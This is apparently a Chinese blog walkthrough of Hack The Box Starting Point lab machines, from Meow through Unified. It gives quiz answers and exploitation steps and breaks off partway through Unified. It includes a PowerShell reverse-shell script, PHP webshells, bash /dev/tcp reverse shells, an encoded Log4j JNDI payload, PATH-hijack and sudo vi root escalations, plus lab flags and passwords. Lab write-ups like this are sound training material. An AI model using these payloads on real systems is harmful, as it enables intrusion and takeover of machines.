Hack the box-Starting point 通关全解

TIER0

Meow靶机

机器原型:

图片[1]-Hack the box-Starting point 通关全解-Drton1博客

第一步我们需要下载openvpn的配置 方便我们对他进行连接。

图片[2]-Hack the box-Starting point 通关全解-Drton1博客

这里选择443 端口的 更为稳定。

图片[3]-Hack the box-Starting point 通关全解-Drton1博客

下载好后切换目录 使用openvpn进行连接。另起终端 ifconfig 查看vpn是否连接

图片[4]-Hack the box-Starting point 通关全解-Drton1博客
已成功建立连接。我们现在已经连接进box的内网。
此时回到页面创建一个新的实例:
创建完毕 新实例内网ip为10.129.126.66
图片[5]-Hack the box-Starting point 通关全解-Drton1博客
接下来几个问答题 太简单 没意义过多叙述:
1.What does the acronym VM stand for?(VM是什么的缩写)
virtual machine
2.What tool do we use to interact with the operating system in order to start our vpn connection?(我们用什么工具与操作系统进行交互进而开启我们的vpn连接?)
terminal
3.What service do we use to form our vpn connection?(我们用什么服务形成我们vpn连接?)
openvpn
4.What is the abreviated name for a tunnel interface in the output of your vpn boot-up sequence output?(vpn启动后隧道接口的缩写名称是什么)
tun
5.What tool do we use to test our connection to the target?(我们用什么工具来测试与目标靶机的连接?)
ping
6.What is the name of the tool we use to scan the target’s ports?(我们用什么工具来扫描目标靶机的端口?)
nmap
7.What service do we identify on port 23/tcp during our scans?(在我们的扫描结果中tcp23端口被我们认定为是什么服务)
telnet
8.What username ultimately works with the remote management login prompt for the target?(哪个用户名最终可以成功远程登录到目标靶机?)
root
获取拿到flag:
我们已经知道内网IP了 先用nmap探测开放端口
图片[6]-Hack the box-Starting point 通关全解-Drton1博客
发现开放23端口 telnet服务 表示我们可以远程连接 尝试连接:
图片[7]-Hack the box-Starting point 通关全解-Drton1博客

直接用户root就进去了 没有 密码 我们现在拿到这台机器的shell了,找flag。

图片[8]-Hack the box-Starting point 通关全解-Drton1博客
拿到flag:b40abdfe23665f766f9c61ecba8a4c19
通关!
图片[9]-Hack the box-Starting point 通关全解-Drton1博客

Fawn靶机

机器原型:

图片[10]-Hack the box-Starting point 通关全解-Drton1博客

VPN就不展示怎么连接了,上一个Meow已经展示过了

这里直接创建实例:

图片[11]-Hack the box-Starting point 通关全解-Drton1博客

拿到内网机器ip

接下来几个问答题 太简单 没意义过多叙述:

1.What does the 3-letter acronym FTP stand for?(FTP是什么的简称?)

File Transfer Protocol

2.What communication model does FTP use, architecturally speaking?(从架构上来说,FTP用的是什么通信模型?)

client-server model

3.What is the name of one popular GUI FTP program?(最受欢迎的FTP图形化软件的名字是什么?)

FileZilla

4.Which port is the FTP service active on usually?(通常情况下,FTP活跃在哪个端口?)

21 tcp

5.What acronym is used for the secure version of FTP?(安全版本的FTP的简称是什么?)

sftp

-sV 探测服务/版本信息 我们可以看到 开放21端口的ftp协议 版本是 vsftpd 3.0.3

操作系统是unix

图片[12]-Hack the box-Starting point 通关全解-Drton1博客

FTP没有账户时候我们的username: anonymous 采用匿名访问;

对于FTP我们每次操作服务器都会给我们回应状态码 不同状态码对应不同的的含义:

图片[13]-Hack the box-Starting point 通关全解-Drton1博客

比如用户登录成功 服务器就会返回230状态码;

下载文件

下载文件通常用get和mget这两条命令。 a) get 格式:get [remote-file] [local-file] 将文件从远端主机中传送至本地主机中。 如要获取远程服

ftp> get /usr/your/1.htm 1.htm (回车)

b) mget       格式:mget [remote-files] 从远端主机接收一批文件至本地主机。 如要获取服务器上/usr/your/下的所有文件,则

ftp> cd /usr/your/ ftp> mget . (回车) xi

先用ftp 连接 服务器 采用匿名登录 无密码 查询服务器 文件 发现flag 进行下载 然后本地读取

拿到flag

图片[14]-Hack the box-Starting point 通关全解-Drton1博客

通关!

图片[15]-Hack the box-Starting point 通关全解-Drton1博客

Dancing靶机

机器原型:

图片[16]-Hack the box-Starting point 通关全解-Drton1博客
SMB(全称是Server Message Block)是一个网络协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。SMB最初是IBM的贝瑞·费根鲍姆(Barry Feigenbaum)研制的,其目的是将DOS操作系统中的本地文件接口“中断13”改造为网络文件系统
简而言之就是个传输文件 文件共享用的协议 跟FTP差不了太多。
一、问题及答案 1.What does the 3-letter acronym SMB stand for?(SMB是什么的简称?)
Server Message Block
2.What port does SMB use to operate at?(用什么端口去操作SMB?)
445
3.What network communication model does SMB use, architecturally speaking?(从架构上讲,SMB属于哪种通信模型?)
client-server model
4.What is the service name for port 445 that came up in our nmap scan?(从扫描结果来看,445端口的服务名称是什么?)
microsoft-ds
5.What is the tool we use to connect to SMB shares from our Linux distribution?(在Linux发行版中,我们用什么工具去连接SMB服务的分享?)
smbclient
6.What is the flag or switch we can use with the SMB tool to list the contents of the share?(我们可以用SMB工具哪个“标识”或者“开关”来列举出分享的文件?)
L
7.What is the name of the share we are able to access in the end?(最终我们可以访问的分享名称是什么?)
WorkShares
8.What is the command we can use within the SMB shell to download the files we find?(在SMB Shell下,我们用什么命令来下载我们找到的文件?)
get
图片[17]-Hack the box-Starting point 通关全解-Drton1博客
扫描端口 可以看到 开放了3个服务
135: msrpc (MicroSoft Remote Procedure Call,微软远程过程调用) 这是windos系统特有的服务
139:netbios-ssn 用于提供文件共享服务,主要用于企业内部网之间互相访问 也是微软的服务
445:就是我们说的SMB
尝试连接SMB 密码为空 连接成功:
图片[18]-Hack the box-Starting point 通关全解-Drton1博客
可以看到有WorkShares 的目录 可以访问 ,进行访问
smbclient //10.129.71.90/WorkShares
找了一下flag.txt 发现 没有 于是进入别的目录找 在James.P下找到
图片[19]-Hack the box-Starting point 通关全解-Drton1博客
通过get命令下载 最后在本地get
图片[20]-Hack the box-Starting point 通关全解-Drton1博客

Redeemer靶机

机器原型:

图片[21]-Hack the box-Starting point 通关全解-Drton1博客

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。redis的默认端口号是6379。

拿到redis 版本号5.0.7

图片[22]-Hack the box-Starting point 通关全解-Drton1博客

索引为0的数据表中有4个键

图片[23]-Hack the box-Starting point 通关全解-Drton1博客

拿到flag:

图片[24]-Hack the box-Starting point 通关全解-Drton1博客

题目:

TASK 1

Which TCP port is open on the machine?

6379

TASK 2

Which service is running on the port that is open on the machine?

redis

TASK 3

What type of database is Redis? Choose from the following options: (i) In-memory Database, (ii) Traditional Database

In-memory Database

TASK 4

Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.

redis-cli

TASK 5

Which flag is used with the Redis command-line utility to specify the hostname?

-h

TASK 6

Once connected to a Redis server, which command is used to obtain the information and statistics about the Redis server?

info

TASK 7

What is the version of the Redis server being used on the target machine?

5.0.7

TASK 8

Which command is used to select the desired database in Redis?

select

TASK 9

How many keys are present inside the database with index 0?

4

TASK 10

Which command is used to obtain all the keys in a database?

keys *

通关:

图片[25]-Hack the box-Starting point 通关全解-Drton1博客

TIER1

Appointment靶机

靶场环境:

图片[26]-Hack the box-Starting point 通关全解-Drton1博客
查看80端口跑的什么服务:
图片[27]-Hack the box-Starting point 通关全解-Drton1博客
目录爆破找到
图片[28]-Hack the box-Starting point 通关全解-Drton1博客
万能账号密码绕过登录后台 :
图片[29]-Hack the box-Starting point 通关全解-Drton1博客
登录发现flag
图片[30]-Hack the box-Starting point 通关全解-Drton1博客

其他问题:

第一个问题:SQL全称是什么?

答案:Structured Query Language。中文名字叫结构化查询语言

第二个问题:最常见的SQL漏洞类型是什么?

答案:SQL injection #SQL注入

第三个问题:PII代表什么意思?

答案:personally identifiable information,通过百度来的,个人身份信息或者个人验证信息

第四个问题:OWASP 前 10 名列表将此漏洞的分类命名为什么?

答案:A03:2021-Injection

图片[31]-Hack the box-Starting point 通关全解-Drton1博客
第五个问题:80端口跑的是什么服务以及什么版本?
答案:上面说过了
第六个问题:https的端口是什么?
答案:443
第七个问题:登录页面一种基于运气的方式是什么?
答案:brute-forcing,暴力破解
第八个问题:web应用的文件夹叫什么?
答案:directory
第九个问题:Not found的响应代码是什么?
答案:404
第十个问题:在 Gobuster 中使用什么开关来指定我们正在寻找目录而不是子域?答案:dir,Gobuster是一个目录猜解工具,主页如下
<https://github.com/OJ/gobuster>
第十一个问题:使用什么符号注释代码?
答案:#
通关:
图片[32]-Hack the box-Starting point 通关全解-Drton1博客

Sequel靶机

靶场环境:

图片[33]-Hack the box-Starting point 通关全解-Drton1博客
MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。在存储引擎方面,使用XtraDB来代替MySQL的InnoDB。 MariaDB由MySQL的创始人Michael Widenius主导开发,他早前曾以10亿美元的价格,将自己创建的公司MySQL AB卖给了SUN,此后,随着SUN被甲骨文收购,MySQL的所有权也落入Oracle的手中。MariaDB名称来自Michael Widenius的女儿Maria的名字。
第一个问题:SQL的全称是什么?
答案:Structured Query Language,结构化查询语言
第二个问题:扫描时,mysql跑在哪个端口
回答:3306
第三个问题:目标主机上跑的mysql是什么版本?
答案:mariadb
第四个问题:我们需要使用什么开关来指定 MySQL 服务的登录用户名?
答案:-u
第五个问题:哪个用户名允许我们在不提供密码的情况下登录 MariaDB?
答案:root
第六个问题:使用什么符号可以获取一张表的所有信息?
答案:*
第七个问题:使用什么符号结束一个查询?
答案:;
远程连接数据库 获得flag。
图片[34]-Hack the box-Starting point 通关全解-Drton1博客

通关!

图片[35]-Hack the box-Starting point 通关全解-Drton1博客

Crocodile靶机

靶场环境:

图片[36]-Hack the box-Starting point 通关全解-Drton1博客

先上常规 nmap 扫描一波,得到一些端口。

图片[37]-Hack the box-Starting point 通关全解-Drton1博客

靶场题目:

问:在nmap中使用默认脚本扫描的是什么命令?

答案:-sC。

问:21端口上跑的服务的版本是什么?

答案:vsftpd3.0.3

问:允许ftp匿名登录的代码是什么?

答案:230

问:什么命令可以用于下载ftp上面的文件

答案:get

问:username列表中,听起来权限比较高的用户名是什么?

答案:admin

问:apache的版本是什么?

答案:2.4.41

问:我们可以在浏览器中安装的方便的网站分析插件的名称是什么?

答案:wappalyze

图片[38]-Hack the box-Starting point 通关全解-Drton1博客

问:我们可以在 gobuster 中使用什么开关来指定我们正在寻找特定的文件类型?

答案:-x

问:什么文件能为我们提供立足点?

答案:login.php

利用FTP 拿到账号密码

图片[39]-Hack the box-Starting point 通关全解-Drton1博客

下载之后本地查看

图片[40]-Hack the box-Starting point 通关全解-Drton1博客
登录后台 用admin账户登录:
图片[41]-Hack the box-Starting point 通关全解-Drton1博客
拿到flag:
图片[42]-Hack the box-Starting point 通关全解-Drton1博客
通关:
图片[43]-Hack the box-Starting point 通关全解-Drton1博客

Responder靶机

靶场环境:

图片[44]-Hack the box-Starting point 通关全解-Drton1博客
问题:
问:机器上跑了几个tcp端口?
回答:3个
问:当使用IP进行访问时,被重定向去了哪里?
回答:unika.htb
问:网页是使用哪种脚本语言写的?
回答:php
问:用于加载不同语言版本网页的 URL 参数的名称是什么?
回答:page
问:下面哪个选项可以作为page的参数来进行本地文件包含。
回答:…/…/…/…/…/…/…/…/windows/system32/drivers/etc/hosts
问:远程文件包含是下面哪种类型
回答://10.10.14.6/somefile
问:NTLM全称是什么?
回答:New Technology LAN Manager
问:responder中的哪个参数能指定网络接口?
回答:-I
问:john的全称是什么?
回答:john the ripper。可以用来破解NTLM的哈希的。
问:administrator用户的密码是什么?
回答:badminton
问:我们将使用 Windows 服务(即在box上运行)使用我们恢复的密码远程访问 Responder 机器。它侦听的 TCP 端口是什么?
回答:5985
工具介绍:
evil-winrm是Windows远程管理(WinRM) Shell的终极版本。
Windows远程管理是“WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。
此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。
工具介绍:
内网渗透之Responder攻防(上) – FreeBuf网络安全行业门户
开启responder 监听tun0网卡 也就是用openvpn连接的内网ip
图片[45]-Hack the box-Starting point 通关全解-Drton1博客

远程包含 page后的ip 是 我们vpn连接后分配给我们自己的ip:

图片[46]-Hack the box-Starting point 通关全解-Drton1博客

responder 监听到了哈希值

图片[47]-Hack the box-Starting point 通关全解-Drton1博客

保存到本地,使用john破解

成功破解:

图片[48]-Hack the box-Starting point 通关全解-Drton1博客
拿到flag:
图片[49]-Hack the box-Starting point 通关全解-Drton1博客
图片[50]-Hack the box-Starting point 通关全解-Drton1博客

Three靶机

靶场环境:

图片[51]-Hack the box-Starting point 通关全解-Drton1博客
nmap信息收集:
图片[52]-Hack the box-Starting point 通关全解-Drton1博客
开放80端口 访问页面 收集到联系的信息:
图片[53]-Hack the box-Starting point 通关全解-Drton1博客
thetoppers.htb 应该是他域名 我们把ip 域名放进hosts:
图片[54]-Hack the box-Starting point 通关全解-Drton1博客
gobuster :
Gobuster这款工具基于Go编程语言开发,广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力破解攻击。目前,该工具刚刚发布了最新的Gobuster v3.0.1版本。

用这款工具进行爆破:

图片[55]-Hack the box-Starting point 通关全解-Drton1博客

找到s3.thetoppers.htb 子域名

图片[56]-Hack the box-Starting point 通关全解-Drton1博客

添加完解析重启一下 网络服务

再次访问这个子域名:

图片[57]-Hack the box-Starting point 通关全解-Drton1博客

s3是亚马逊的存储服务:Amazon S3 域名前有s3代表有这个服务。AWS服务:

图片[58]-Hack the box-Starting point 通关全解-Drton1博客
我们可以利用这个 awscli 去实现控制AWS
图片[59]-Hack the box-Starting point 通关全解-Drton1博客

启动aws 这些参数乱填就行了 因为对方可能不校验:

图片[60]-Hack the box-Starting point 通关全解-Drton1博客
列出所有对象:
图片[61]-Hack the box-Starting point 通关全解-Drton1博客
发现该站首页是index.php 就是php写的网站:
我们往他云上上传一句话木马:
先创建一个一句话木马:echo'<?php system($_GET[“cmd”]); ?>’ > shell.php
图片[62]-Hack the box-Starting point 通关全解-Drton1博客
进行上传
图片[63]-Hack the box-Starting point 通关全解-Drton1博客
成功上传。
我们验证一下:成功执行命令
图片[64]-Hack the box-Starting point 通关全解-Drton1博客

现在想办法反弹shell 拿到 主机的权限。

先查看本机ip

ifconfig // 10.10.16.11

用bash 生成 一句话shell.sh

图片[65]-Hack the box-Starting point 通关全解-Drton1博客
图片[66]-Hack the box-Starting point 通关全解-Drton1博客
但是一直报这个错误 把搜索引擎找遍了 都没用
于是更换思路 不反弹shell
找webshell后门工具进行连接:
webacoo 生成 后门a.php
图片[67]-Hack the box-Starting point 通关全解-Drton1博客
利用aws上传上去 再利用webacoo连接。
图片[68]-Hack the box-Starting point 通关全解-Drton1博客
拿到flag。

TIER2

Archetype靶机

靶场环境:

图片[69]-Hack the box-Starting point 通关全解-Drton1博客

扫描端口:开了4个端口 其中1433是数据库端口。

图片[70]-Hack the box-Starting point 通关全解-Drton1博客

开了445 经验告诉我 可以用smb 尝试连接一下 发现共享目录 backups。

图片[71]-Hack the box-Starting point 通关全解-Drton1博客

我们进去 发现有配置文件 下载到本地进行查看。

图片[72]-Hack the box-Starting point 通关全解-Drton1博客

可以使用来自 Impacket 集合的哪些脚本来建立与微软 SQL 服务器的经过身份验证的连接?

Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的简单编程访问,以及协议实现本身的某些协议(例如SMB1-3和MSRPC)。数据包可以从头开始构建,也可以从原始数据中解析,而面向对象的API使处理协议的深层次结构变得简单。该库提供了一组工具,作为在此库找到可以执行的操作的示例。

工具的使用 | Impacket的使用 – 腾讯云开发者社区-腾讯云 (tencent.com)

(11条消息) kali下载impacket_浅*默的博客-CSDN博客_kali安装impacket

安装要用python3去安装

图片[73]-Hack the box-Starting point 通关全解-Drton1博客
开启 shell 查询whoami
图片[74]-Hack the box-Starting point 通关全解-Drton1博客

这种回显方式是windos的

图片[75]-Hack the box-Starting point 通关全解-Drton1博客

这是powershell的语法 我们利用他写个反弹shell 保存后缀为**shell.ps1**

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.xxx",443); #该ip是你kali连接内网的ip。
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

本地开启web服务 把shell.ps1 放进该web目录

图片[76]-Hack the box-Starting point 通关全解-Drton1博客
访问验证是否开启
图片[77]-Hack the box-Starting point 通关全解-Drton1博客

开启监听端口。

图片[78]-Hack the box-Starting point 通关全解-Drton1博客

xp_cmdshell去执行相应命令

成功监听到。 这里碰到一个坑 powershell web直接复制过来用会出问题

先复制到记事本上 再从记事本上复制到终端 问题解决。

图片[79]-Hack the box-Starting point 通关全解-Drton1博客
成功反弹shell 拿到user.txt 获得第一个flag。
图片[80]-Hack the box-Starting point 通关全解-Drton1博客

敏感文件:ConsoleHost_history.txt 存放admin历史密码;

路径: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

图片[81]-Hack the box-Starting point 通关全解-Drton1博客

拿到管理员历史密码。 MEGACORP_4dmin !!

这里要用到Impacket 的psexec.py 模块 进行提权。

python3 psexec.py administrator@10.129.193.211

输入历史密码 成功拿到admin权限 拿到第二个flag

图片[82]-Hack the box-Starting point 通关全解-Drton1博客
通关!
图片[83]-Hack the box-Starting point 通关全解-Drton1博客

Oopsie靶机

靶场环境:

图片[84]-Hack the box-Starting point 通关全解-Drton1博客
常规信息收集:
图片[85]-Hack the box-Starting point 通关全解-Drton1博客
开放两个端口 一个22 一个80 80端口的开放 意味着对方是一个web服务器
返回登录页的 Web 服务器上的目录的路径是什么?
这里有两种方式
第一种是利用bp的Target 的模块 site map 被动爬取 会给我们抓到登录页路劲。
图片[86]-Hack the box-Starting point 通关全解-Drton1博客

第二种是利用浏览器的F12 网络 也可以找到这个路口

图片[87]-Hack the box-Starting point 通关全解-Drton1博客

发现该登录路劲后 进行访问:

图片[88]-Hack the box-Starting point 通关全解-Drton1博客

下面有一个Login as Guest 登录就是以游客方式登录 于是点击:

图片[89]-Hack the box-Starting point 通关全解-Drton1博客
图片[90]-Hack the box-Starting point 通关全解-Drton1博客
进入后台后 发现 cookie 中id =2233 role=guest 如果我们修改为admin 会发生什么?
于是bp拦包进行修改:
图片[91]-Hack the box-Starting point 通关全解-Drton1博客

这里对id进行爆破

图片[92]-Hack the box-Starting point 通关全解-Drton1博客

发现id=1 时候 是 admin 这里是一个越权漏洞。

图片[93]-Hack the box-Starting point 通关全解-Drton1博客

拿到admin的 id=34332 用户名admin 邮箱admin@megacorp.com

在上传页面提示 说 要super admin才能上传。

图片[94]-Hack the box-Starting point 通关全解-Drton1博客

我们在刚才的爆破中找到super admin 的id=30

图片[95]-Hack the box-Starting point 通关全解-Drton1博客

super admin的 编号 是 86575 我们用bp修改cookie:

图片[96]-Hack the box-Starting point 通关全解-Drton1博客

越权成功:

图片[97]-Hack the box-Starting point 通关全解-Drton1博客

此时试试上传一个一句话木马后门,先利用webacoo生成一个a.php

图片[98]-Hack the box-Starting point 通关全解-Drton1博客

然后把a.php给上传

图片[99]-Hack the box-Starting point 通关全解-Drton1博客
通过尝试 成功找到路劲:
图片[100]-Hack the box-Starting point 通关全解-Drton1博客

进行连接:

图片[101]-Hack the box-Starting point 通关全解-Drton1博客

尝试一番找到了flag

图片[102]-Hack the box-Starting point 通关全解-Drton1博客

f2c74ee8db7983851ab2a96a44eb7981

继续翻翻刚才的www目录 找到db.php 文件 里面有robert的账密

图片[103]-Hack the box-Starting point 通关全解-Drton1博客

我们切换robert用户 但是没有交互终端搞 只靠一个webshell搞不了 哈哈 这里就要想办法 整个交互终端了。

图片[104]-Hack the box-Starting point 通关全解-Drton1博客

于是进行更换:

重传b.php

<?php
  exec("/bin/bash -c 'bash -i &> /dev/tcp/10.10.16.53/1234 0<&1 '");
?>

kail 监听 1234端口 nc -lvp 1234

图片[105]-Hack the box-Starting point 通关全解-Drton1博客

成功拿到权限 ,此时要给他变成一个交互式的完全体shell。

SHELL=/bin/bash script -q /dev/null
图片[106]-Hack the box-Starting point 通关全解-Drton1博客

我们登录后 id 查看用户组权限 发现了一个 bugtrackert的用户组

用一下命令找一下关于该组的任何文档

find / -type f -group bugtracker 2>/dev/null //-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker //-al 以长格式方式显示并且显示隐藏文件
图片[107]-Hack the box-Starting point 通关全解-Drton1博客

找到一个bugtracker的文件 没有后缀就是二进制文件了

用strings 命令进行查看: strings /usr/bin/bugtracker

图片[108]-Hack the box-Starting point 通关全解-Drton1博客

在该文件中找到了 这句话cat /root/reports

可以看到这个cat 是以root 身份去运行的。

其中包含cat /root/reports/这条命令,其含义是bugtracker调用系统中的cat命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限。且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量指定的路径中搜寻cat命令,可以考虑创建一个恶意的cat命令,并修改当前用户环境变量,将权限提升为root。

export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo '/bin/sh' > cat //在此构造恶意的cat命令
chmod +x cat //赋予执行权限

这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,执行id命令发现只是robert用户的uid变为了root,不是真正的root用户

在这个地方执行上述命令后,要再执行一次

图片[109]-Hack the box-Starting point 通关全解-Drton1博客
图片[110]-Hack the box-Starting point 通关全解-Drton1博客
af13b0bee69f8a877c3faf667f7beacf
这里为什么用more 命令因为 cat 命令被我们替换了 所以 要换个读取命令来替代它。 就用more了
图片[111]-Hack the box-Starting point 通关全解-Drton1博客
图片[112]-Hack the box-Starting point 通关全解-Drton1博客

Vaccine靶机

靶场环境:

图片[113]-Hack the box-Starting point 通关全解-Drton1博客

常规信息收集走起来:

图片[114]-Hack the box-Starting point 通关全解-Drton1博客

首先21端口 尝试登录一波,没有登录成功哈哈

图片[115]-Hack the box-Starting point 通关全解-Drton1博客

80端口也开着呢 看看web 一个登录页面:

图片[116]-Hack the box-Starting point 通关全解-Drton1博客

可以尝试一波FTP的匿名漏洞登录:

图片[117]-Hack the box-Starting point 通关全解-Drton1博客

成功登录FTP服务器:

图片[118]-Hack the box-Starting point 通关全解-Drton1博客

但是我在尝试很多命令之后 都无法执行 可能思路出现问题了。

图片[119]-Hack the box-Starting point 通关全解-Drton1博客

用anonymous 当作用户名ftp登录试一试:

图片[120]-Hack the box-Starting point 通关全解-Drton1博客

我们把目录的backup.zip下载下来

图片[121]-Hack the box-Starting point 通关全解-Drton1博客

下载后进行解压 ,发现解压还要密码:

图片[122]-Hack the box-Starting point 通关全解-Drton1博客

利用zip2john进行爆破

图片[123]-Hack the box-Starting point 通关全解-Drton1博客

得出密码 741852963

图片[124]-Hack the box-Starting point 通关全解-Drton1博客

打开解压的php 页面 可以看到他的验证机制

用户名是 admin

密码的md5值是:2cb42f8734ea607eefed3b70af13bbd3 进行解密:

图片[125]-Hack the box-Starting point 通关全解-Drton1博客

qwerty789

于是返回页面进行登录:

图片[126]-Hack the box-Starting point 通关全解-Drton1博客

发现存在有个搜索栏 随便输点东西 搜一下:

图片[127]-Hack the box-Starting point 通关全解-Drton1博客
发现url多了个参数 尝试一下有没有注入漏洞。

图片[128]-Hack the box-Starting point 通关全解-Drton1博客

出货了 有sql注入漏洞 上sqlmap。

这里犯了一个蠢错误 就是 这个页面要登录后才有 的 我sqlmap要给他cookie 不然跑不出来结果的 。。。

图片[129]-Hack the box-Starting point 通关全解-Drton1博客

于是加上cookie:

图片[130]-Hack the box-Starting point 通关全解-Drton1博客
PHPSESSID=flvf8n5jvspn79e3t4d59esrrt
图片[131]-Hack the box-Starting point 通关全解-Drton1博客
跑出数据库了 ,我们用 – -os-shell 参数 拿到shell
图片[132]-Hack the box-Starting point 通关全解-Drton1博客

直接进行反弹shell:

这里的ip是kali的ip 端口自定义 kali记得开nc -lvp 1234 监听这个端口

我们用os-shell 让对方执行这条命令 反弹shell:

/bin/bash -c ‘bash -i &> /dev/tcp/10.10.16.53/1234 0<&1’

图片[133]-Hack the box-Starting point 通关全解-Drton1博客

反弹shell。

变成交互式shell:

SHELL=/bin/bash script -q /dev/null

拿到user.txt的flag :ec9b13ca4d6229cd5cc1e09980965bf7

图片[134]-Hack the box-Starting point 通关全解-Drton1博客

接下来想办法拿root.txt的flag 就涉及到了提权:

在网站根目录下拿到了用户的密码

图片[135]-Hack the box-Starting point 通关全解-Drton1博客
还记得刚开始信息收集 他ssh 是开启 我们现在知道 用户是 postgres 密码是 p@s5w0rd! 可以远程连接一下
图片[136]-Hack the box-Starting point 通关全解-Drton1博客
登录后要提权 盲区了属于
图片[137]-Hack the box-Starting point 通关全解-Drton1博客

sudo -l 查看一下 用户能执行的高级权限命令

我们发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。首先执行一下命令以root的权限打开vi。

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

然后按 进入命令模式,在命令模式下输入以下命令的其中一条即可:

!/bin/bash
!/bin/sh
shell

在vi/vim的命令模式下!加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。以 !/bin/bash为例,这句命令表示以shell命令的方式执行 /bin/bash,也就是打开一个交互式终端。

在vi/vim的命令中,shell表示打开一个终端。

图片[138]-Hack the box-Starting point 通关全解-Drton1博客

拿到root权限

图片[139]-Hack the box-Starting point 通关全解-Drton1博客

flag: dd6e058e814260bc70e9bbdef2715849

至此结束 总结一下攻击链: FTP匿名攻击 —> zip2john破解hash值破解密码 —>web -sql注入攻击—>反弹shell拿到权限—> vi提权root

图片[140]-Hack the box-Starting point 通关全解-Drton1博客

Unified靶机

靶场环境:

图片[141]-Hack the box-Starting point 通关全解-Drton1博客
先信息收集一波:
图片[142]-Hack the box-Starting point 通关全解-Drton1博客

开了四个端口 22 6789 8080 8443

我看见8443 试了试有没有心脏滴血漏洞 没用 最后发现 8443 端口跑了一个 UniFI network 这玩意

尝试访问:打开页面 这里要用https 协议

图片[143]-Hack the box-Starting point 通关全解-Drton1博客

抓包 修改 json格式中 remember远程请求我们kali 验证是存在 log4j注入 漏洞。

图片[144]-Hack the box-Starting point 通关全解-Drton1博客

kali开启 tcpdump -i tun0 监听这个端口 然后发送数据包:

图片[145]-Hack the box-Starting point 通关全解-Drton1博客

成功 收到监听 说明对方存在 log4j注入漏洞,接下来进行漏洞利用。

这里需要下载Rogue JNDI 一款JNDI注入辅助工具

git clone [<https://github.com/veracode-research/rogue-jndi>](<https://github.com/veracode-research/rogue-jndi>) && cd rogue-jndi && mvn package

这里 mvn如果没用安装的 话 输入 apt install maven 然后 再mvn package

图片[146]-Hack the box-Starting point 通关全解-Drton1博客

出现bulid success 表示构造完成

构造反弹shell payload,这里给他变成base64编码 因为对方是远程请求我们 所以数据是远程传输,base64编码方便传输

这里的ip是kali的up 端口自己规定。

echo 'bash -c bash -i >&/dev/tcp/10.10.16.53/4444 0>&1' | base64
图片[147]-Hack the box-Starting point 通关全解-Drton1博客

把这串加密替换下面命令然后执行: 后面的ip记得替换

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuNTMvNDQ0NCAwPiYxCg==}|{base64,-d}|{bash,-i}" --hostname "10.10.16.53"
图片[148]-Hack the box-Starting point 通关全解-Drton1博客

可以看到我们构建的服务器已经开启1389这个端口了 然目标远程访问我们这个端口 然后触发payload 执行反弹shell的那个命令 再把shell反弹到我们kali上 所以下面要监听4444端口。

然后本地 nc -lvp 4444 让kali 去监听4444端口

把刚才的发送包ip加上端口 再发送一次

图片[149]-Hack the box-Starting point 通关全解-Drton1博客

拿到反弹shell 查询权限是 unifi用户:

图片[150]-Hack the box-Starting point 通关全解-Drton1博客

输入以下命令 转为交互式shell

SHELL=/bin/bash script -q /dev/null
图片[151]-Hack the box-Starting point 通关全解-Drton1博客

接下来使用:ps aux | grep mongo 查看本机mongo端口:

ps x  显示所有程序,不以终端机来区分。ps是显示当前状态处于running的进程,grep表示在这些里搜索,而ps aux是显示所有进程和其状态。

例如:$ ps aux | grep amoeba 查到amoeba的进程

图片[152]-Hack the box-Starting point 通关全解-Drton1博客

拿到端口 27117

根据unfi 默认数据库名可以知道 数据库名为ace

知道数据库我们用命令连接进去:

mongo --port 27117 ace
图片[153]-Hack the box-Starting point 通关全解-Drton1博客

拿到数据库shell。

本来的思路是用db.admin.find() 找到管理员的密码 直接登录网站

图片[154]-Hack the box-Starting point 通关全解-Drton1博客

这里找到了管理员账号密码 尝试破解

图片[155]-Hack the box-Starting point 通关全解-Drton1博客

破解不了。

接下里的思路就是我们生成一个用户 然后绑定网站 然后用生成的用户账密去登录网站。

本网站密码是采用sha-512加密 那么验证肯定也是 把输入的密码加密后对比

所以我们直接在数据插入密码 要是sha-512加密后的密文:

